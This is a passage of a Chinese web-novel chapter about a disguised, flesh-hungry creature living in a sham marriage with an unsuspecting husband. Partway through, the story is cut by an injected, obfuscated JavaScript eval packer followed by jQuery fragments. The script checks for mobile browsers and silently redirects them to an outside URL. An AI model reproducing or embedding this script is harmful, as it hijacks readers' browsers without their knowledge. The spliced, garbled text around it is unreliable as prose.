“妈,爸,你们坐,我去准备午餐。”
将岳父岳母请上沙发,周岚生按住准备跟他起身的端玉:“你陪着妈和爸就行,厨房那边不用帮忙。”
“好的,老公。”端玉坐回板凳凝望他的背影,两秒后,她的目光平缓地滑向两名中年人。
摆出对镜子练习过的亲切微笑,端玉对名义上的血亲说:“妈,爸,你们来了,我好开心。”
烫了满头卷发的女人笑出皱纹,和丈夫悄悄对视一眼。时至今日,她依然觉得这个大街上捡回来的女儿有些古怪。
模样是俊秀,活儿干得是利落,可言行举止总透着股说不清的滞涩感。也不知她那毛病好没好?
“你俩结婚以后我们都没咋来过,这房子装修得真不错哈,咱女婿年轻人,审美就是好。”女人摩挲着温热的水杯环顾四周,一边对端玉笑,一边用手肘捅了捅身旁的男人。
端玉她爸会意:“欸对,你们这一代懂得多,我们熟悉的装修风格早过时了……嗯,端玉啊,跟小周相处得不错吧?”
“我们关系很好。”端玉老老实实回答。
“欸,那就好,那就好。”
男人搓搓手掌,瞄了眼厨房的方向压低声音:
“我知道你们刚结婚几个月,还太着急,但你们两个也快三十岁了,是不是……呃,也该考虑考虑下一代……”
“突然说啥呢你?!”
女人故作愠色打断丈夫,又冲茫然的端玉挤出微笑,她伸手抚摸女儿略显冰冷的手背:“你爸老不羞的,你别往心里去。这个事你们迟早得面对,当然还是看小周和你的意思。”
“什么事?”
端玉盯着女人圆滚滚的手掌,香味触发嗅觉,身体里属于胃的部分开始抗议。
很饿。
维持人类形态需要额外消耗能量,炒菜里点缀的一点肉无法令端玉满足,而且她不喜欢丈夫常用的调味料,每回假装吃得开心都很辛苦。
她渴望新鲜的肉,汁水饱满香气袭人。冷冻的肉也凑合。
自从被血亲撞见啃食一只鸡,招来惊天动地的恐慌与责骂,端玉就明白,在这里不能光明正大吃活物的肉,毕竟人类也是肉。
幸好婚后她与丈夫分居两室,每晚有机会偷偷溜到冰箱边,拽出塞进冷冻层的肉块。虽然冻肉的美味程度大打折扣,起码能饱腹。
还是很饿。
耳边响起嘈杂的话音,作为她“母亲”的人探出手捏她,骨骼表面附着厚厚的脂肪与血肉。端玉强迫自己回忆冻肉表面红白交织的肌理,在心中重温冰沙一般的口感。
“女儿”不能吃掉“母亲”,她想,与此同时,她觉得自己不该如此饥饿。
这都是因为……
“妈,我给您添茶。”
周岚生百忙之中走出厨房,换来一壶刚沏好的红茶,他脸上面无表情,手却主动倾斜壶身,倒满岳母半空的茶杯。
冷淡的视线不经意扫过端玉,又落到中年男人身上:“爸,您不爱喝茶吗?需要白开水吗?”
男人热络的推拒左耳进右耳出,周岚生时刻留意余光,他看得到,妻子安安静静垂下眼,黑发蹭过比鸦羽更暗的睫毛,愈发衬出肤色之苍白。
结婚两个月,周岚生时常疑心妻子身体不好。
她吃饭细嚼慢咽,还剩半碗便搁下筷子;她从不运动,休息日能在书桌前坐一天;她记忆力有待长进,时不时弄丢日用杂物;她的睡眠质量似乎也不怎么样,近来周岚生频频发现她起夜。
她也没购置过卫生巾,似是与生理期形同陌路。
虽然只是形式上的婚姻,但同住一屋檐下,他也不好对端玉视若无睹。
“你也喝点热茶吧。”
在逐渐被尴尬浸染的气氛中,周岚生拿过端玉的杯子。
一顿其乐融融的家常饭眨眼间解决完,端玉仍旧没吃饱。新婚伴侣的长辈们自知碍眼,不欲久留,扔下几句祝福和期待便不见人影。
送走亲人返回楼上,端玉一路都端着手机,眼神牢牢黏在屏幕上。
有些话不便当面大声讲,她的母亲在微信聊天框里打出长篇大论,明里暗里示意端玉抓紧时间,和丈夫要上小孩。
待端玉试图通过互联网查询“最佳生育年龄”的含义时,又一条弹窗挡住搜索栏,大坨密密麻麻的文字占据屏幕。
手机界面过于狭窄,人类的眼睛也小,端玉阅读起来稍感吃力。
依靠捕捉关键词的方式,端玉从母亲的讯息中得知,家中经济复苏,她弟弟的婚房已经置办差不多了,婚礼预计明年开春举办,到时她这个当姐姐的可不能缺席。
要带上她弟的姐夫,最好还有她弟的外甥。
端玉至今无法理解人类亲缘关系演变出的繁复称呼,她暗自在心里做公式换算,将“外甥”与“自己和丈夫的孩子”划上等号。
对于弟弟,端玉没有深刻的印象。她成为女儿没多久便被推去相亲,第二个相亲对象正是周岚生,大公司的高管。
据说周家与端玉她家上一辈交情不浅。
相亲顺利进入谈婚论嫁的阶段,大学毕业的弟弟鲜少露面,端玉被记不清长相的亲戚们拖来拖去准备婚礼,顾不上体验姐弟情。
但母亲曾告诉她,和周岚生一结婚,家里生意资金链断裂的问题就有望得到解决,连带她弟弟的人生大事也不用操心,这使得端玉心生欢欣,不由得感叹人类婚姻的神奇之处。
“小心看路。”
一只手拽住她的胳膊,抬头看去,端玉不知不觉从电梯直直走到家门口,险些一脑袋撞上房门。
是周岚生眼疾手快拉回她,端玉后退半步,长舒一口气,如果没有丈夫,这扇防盗门会被她顶裂。
人类世界里的大部分东西都很脆弱。就在昨天,端玉不小心捏烂最后一把木梳,丈夫看她狼狈地以手指梳理长发,问怎么不用梳子?端玉只好谎称梳子找不到了。
学习控制力道是一回事,一分神原形毕露又是一回事。
“怎么了?你一直在看手机。”
周岚生望过来:“有什么急事吗?今天是节假日,你老板总不会还让你加班吧。”他往门锁上输入密码。
“没有加班,是我妈发微信,她让我和你要小孩。”端玉坦诚直言。
手指猛地顿住,“嘀——”房门却已应声开启。
两人在开启的门前驻足,端玉想迈步,可沉默的丈夫让她不解。周岚生面色黯淡,仿佛上别人家里报丧的不速之客。
“先进去再说吧。”
“砰。”
大门在身后关闭,端玉跟随丈夫来到客厅,她一屁股坐上沙发,仰头观望对方的脸色:“你不高兴吗?”
“你想要孩子吗?”周岚生问。
“为什么这样问?我们是配偶,一定会有后……孩子的。”
“我以为婚前已经解释清楚了,”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959098|193278||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周岚生拉过一把椅子,面对端玉坐下,“你忘了吗?你和我结婚只是为了应付双方家长,两年后我们将以感情不和为由离婚,我会给予你补偿。”
“我们不会有孩子。”
端玉微微皱眉:“我没忘记,但这期间我们确实是配偶。”
事实上,她不懂怎样才能对接周岚生的逻辑。正常情况下,选择配偶分明是自己的事,家长的影响力如此之大吗?而且成为配偶理应有后代,若是自由恋爱,根本没必要绑定彼此吧?
“是配偶也不一定要有孩子,”周岚生即将用光耐心,他觉得自己像小学老师,“我们很久前就决定好分房睡,我没想到你会想要孩子。”
丈夫的逻辑着实古怪。端玉感到莫名其妙:“这和分房睡有什么关系?要孩子的话,现在也可以啊。”
“……”
这回周岚生没有反驳她,他张张嘴,欲言又止,有些不自然地调整坐姿。
“你不愿意和我要孩子,你讨厌我,对吗?”
依照人类张贴在地铁站的宣传画,和睦的伴侣都会生育两到三个后代。
后代中,年纪大的往往是雌性,年纪小的往往是雄性,端玉无所谓后代的性别,她自认为和丈夫相处愉快,如今对方的拒绝让她有些受打击。
端玉仔细端详丈夫干净的脸庞,目光上下梭巡,她无底洞般的胃开始痉挛着收缩。
尝起来一定很美味,他……不,不和她生孩子是一回事,配偶不是用来吃的。
获得人类配偶是多么新奇的经历,端玉暂时不愿终结这段生活。
“……”周岚生眯了眯眼,好像困惑于端玉的困惑。他踌躇着说:
“……我并不讨厌你,这是两码事。”
“那你喜欢我?”端玉乘胜追击。
假如真能取得周岚生的信任和支持,或许她可以把夜间偷吃生肉这件事摆上明面,而非为了躲避丈夫的突击检查乖乖睡觉。
说到底配偶是与自己相处时间最久的亲密个体,人类胆小归胆小,端玉也不能藏一辈子,她会饿晕的。
“……问题不在这里,端玉。”
当端玉盘算如何卸下有关温饱的后顾之忧,周岚生心底的揣测再次浮出水面,悬在半空勾住他的思绪。
相亲期间尚不明显,婚后,他觉察到妻子身上存在难以解释的违和感。
她履历漂亮,智商没有问题,在校成绩优秀,重点大学毕业,入职的公司规模不大但很有发展前景,交友圈里也没什么狐朋狗友。
同时,她表现出堪称诡异的天真,对不少社会大众默认的常识摸不着头脑。周岚生认真地怀疑过她的亲人怎么能把她平安养大。
难道是某种疾病吗?所以身体虚弱?正常甚至优于普通人的社会表现或许是代偿所致?
妻子的异样不止于此,就像现在,她偶尔直勾勾地注视自己,两只乌黑眼珠犹如摄影用的吸光绒布,周岚生在其中找不到自己的倒影。
“那问题在哪里?”
钻入耳中的语调不变,周岚生却平白无故听出幽幽的冷意。
他抑制本能的抗拒,向前倾身将手搭上膝盖,打算重新组织语言,把他和端玉之间乱七八糟的毛线团细细解开。
可他最终什么都没说,他仅仅僵在原地,动弹不得。
端玉的眼珠并非单纯的黑,那是两个深不见底的孔洞,触手状物体蠕动着从中伸出,晃晃悠悠指向她的丈夫。